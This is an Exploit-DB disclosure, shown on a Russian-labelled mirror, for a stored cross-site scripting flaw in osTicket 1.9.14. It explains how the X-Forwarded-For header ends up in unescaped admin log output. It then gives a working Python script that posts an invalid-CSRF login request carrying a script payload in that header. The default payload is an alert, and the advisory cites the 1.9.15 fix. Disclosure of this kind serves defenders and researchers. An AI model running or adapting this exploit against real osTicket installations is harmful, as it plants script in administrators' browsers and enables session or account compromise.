Exploit osTicket 1.9.14 - 'X-Forwarded-For' Cross-Site Scripting

[Exploiter]

EDB-ID

40826

Проверка EDB

1. Пройдено

Автор

JOAQUIN RAMIREZ MARTINEZ

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

N/A

Дата публикации

2016-11-24

osTicket 1.9.14 - 'X-Forwarded-For' Cross-Site Scripting

# Exploit Title: Osticket 1.9.14 and below (X-Forwarded-For) Stored XSS.
# Date: 24-11-2016
# Exploit Author: Joaquin Ramirez Martinez [ i0-SEC ]
# Software Link: http://osticket.com/
# Vendor: Osticket

"""
==============
 DESCRIPTION
==============

**osTicket** is a widely-used open source support ticket system. It seamlessly
integrates inquiries created via email, phone and web-based forms into a
simple easy-to-use multi-user web interface. Manage, organize and archive
all your support requests and responses in one place while providing your
customers with accountability and responsiveness they deserve.

(copy of Osticket - README.md)

=======================
 VULNERABILITY DETAILS
=======================

file `osticket/upload/bootstrap.php` contains this 
snippet of code (line 337-340):

  ...

if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
    // Take the left-most item for X-Forwarded-For
    $_SERVER['REMOTE_ADDR'] = trim(array_pop(
        explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])));

   ....

The $_SERVER['REMOTE_ADDR'] value gets overrided with the `X-Forwarded-For` header value,
at this point, it is not a vulnerability but...
file `osticket/upload/include/class.osticket.php` line 309-315 :

  ...

//Save log based on system log level settings.
        $sql='INSERT INTO '.SYSLOG_TABLE.' SET created=NOW(), updated=NOW() '
            .',title='.db_input(Format::sanitize($title, true))
            .',log_type='.db_input($loglevel[$level])
            .',log='.db_input(Format::sanitize($message, false))
            .',ip_address='.db_input($_SERVER['REMOTE_ADDR']);

        db_query($sql, false);

    ....


Everytime when a csrf attack is dettected (checking `X_CSRFTOKEN` header or the post parameter `__CSRFToken__`), 
Osticket saves into database the user controled value $_SERVER['REMOTE_ADDR'] even if it has an invalid format.

Finally the XSS is triggered when a user who can see the system logs like an administrator, visits
the /scp/logs.php URI. It happens because osticket does not encode the output of the data stored into the database.

The code responsible for lanching the XSS is located in `osticket/upload/include/staff/syslogs.inc-php`
line 142...

...
<td><?php echo $row['ip_address']; ?></td>
...

So...

An attacker can make an HTTP request with a header `X-Forwarded-For` containing the XSS payload 
with an invalid CSRF token to the login interface waiting for an administrator to view the logs and trigger the XSS.


================
  DEMONSTRATION
================

Demo video: https://www.youtube.com/watch?v=lx_WlL89F70

The demo also show a low severity XSS vulnerability in the helpdesk name/title of osticket.


================
  REFERENCES
================

https://github.com/osTicket/osTicket/releases
https://github.com/osTicket/osTicket/releases/tag/v1.9.15

X-Forwarded-For XSS:

https://github.com/osTicket/osTicket/pull/3439
https://github.com/osTicket/osTicket/commit/4396f91cdc990b7da598a7562eb634b89314b631

heldeskt name/tile XSS:

https://github.com/osTicket/osTicket/pull/3439
https://github.com/osTicket/osTicket/commit/2fb47bd84d1905b49beab05fcf3f01b00a171c37

================
  MITIGATIONS
================

update to version 1.9.15 or later

================
  CREDITS
================

Vulnerability discovered by Joaquin Ramirez Martinez
  
  https://www.youtube.com/channel/UCe1Ex2Y0wD71I_cet-Wsu7Q/videos
  https://twitter.com/rammarj

================
  TIMELINE
================

13-07-2016 - Vulnerability found
19-09-2016 - Osticket knew the flaws
01-11-2016 - Osticket patches vulnerabilities (v1.9.15 released)
24-11-2016 - Public disclosure.


"""
import urllib
import urllib2
from optparse import OptionParser

options = OptionParser(usage='python %prog [options]', description='Stored XSS')
options.add_option('-t', '--target', type='string', default='http://localhost', help='(required) example: http://localhost')
options.add_option('-p', '--path', type='string', default='/', help='osticket path. Default: /')
options.add_option('-x', '--payload', type='string', default='<svg/onload=alert(/Osticket_XSSed_by_i0-sec/)>'
  , help='xss payload. Default: "<svg/onload=alert(/Osticket_XSSed_by_i0-sec/)>"')

banner = """ 

======================================================   
                       OSTICKET 
  "The most popular ticketing system in the world"
                      Stored XSS

            by i0-sec (Joaquin R. M.)
======================================================

"""

def main():
    opts,args = options.parse_args()    
    print(banner)
    server = opts.target
    path = opts.path
    body = urllib.urlencode({"__CSRFToken__":"invalid", "do":"scplogin", "userid":"invalid", "passwd":"invalid", "submit":""})    
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36",
    "Content-type": "application/x-www-form-urlencoded", "X-Forwarded-For": opts.payload}
    url = server+path+"/scp/login.php" #default login interface URI for OSTICKET
    print('[+] Connecting to '+server+path)
    req = urllib2.Request(url, body, headers)
    try:
      print('[+] Sending payload... ')
      response = urllib2.urlopen(req)
      html = response.read()
    except Exception, e:
      pass
    print '[+] Payload sent.'
    print '[+] Completed.\n'

if __name__ == '__main__':
    main()